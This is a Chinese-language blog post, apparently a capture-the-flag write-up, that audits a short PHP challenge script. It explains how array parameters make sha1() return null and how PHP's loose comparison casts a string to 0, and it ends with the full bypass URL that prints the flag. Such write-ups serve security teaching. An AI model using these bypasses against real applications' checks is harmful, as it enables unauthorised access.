php是世界上最好的语言 ctf+代码审计+加密函数绕过

编程知识 更新时间:2023-04-04 05:07:43

前端攻城狮跑路了,不过PHP是最好的语言 ??

还是直接审计代码吧

<?php 
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了,不过PHP是最好的语言
    $a = $_GET['a'];
    $b = $_GET['b'];
    $good = false;
    if (sha1($a)===sha1($b)) {
        $good = true;
    }
    else die('bypass');
    if ($good && isset($_GET['key'])){
        $message = json_decode($_GET['key']);
        if ($message->key==$key) {
            echo $flag;
        }    
        else die('还差一点就拿到flag了');
    }

?>

定义了a,b,首先需要比较get到的a,b的sha1()散列加密,若值和类型都相等,则$good = true,这里可以使用数组绕过,对于类似sha1(),md5()等加密函数,当检测到值为数组时,都会处理为null;
第二个if语句中又检查是否get有key,isset()函数检查是否设置有需要的参数,然后再将key值json_decode()解码,判断key变量中key键的值是否和key变量的值一样 。

PHP json_decode() 函数用于对 JSON 格式的字符串进行解码,并转换为 PHP 变量。
由于php属于弱类型语言,所以数字和字符串在进行比较时,字符串会转成数字,如果字符串的第一位不是数字,则字符串被转成0

因此 payload:

https://1031-56beef32-b743-4f08-866d-f3b60acf0c49.do-not-trust.hacking.run/?a[]=1&b[]=1&key={"key":0}

这就是世界上最好的语言??以后改学php吧还是 呜呼

更多推荐

php是世界上最好的语言 ctf+代码审计+加密函数绕过

本文发布于:2023-04-04 05:07:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/b14a6c42398c6a3ab8813f501bd341e6.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:最好的   函数   语言   代码   是世界上

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!

  • 41269文章数
  • 14阅读数
  • 0评论数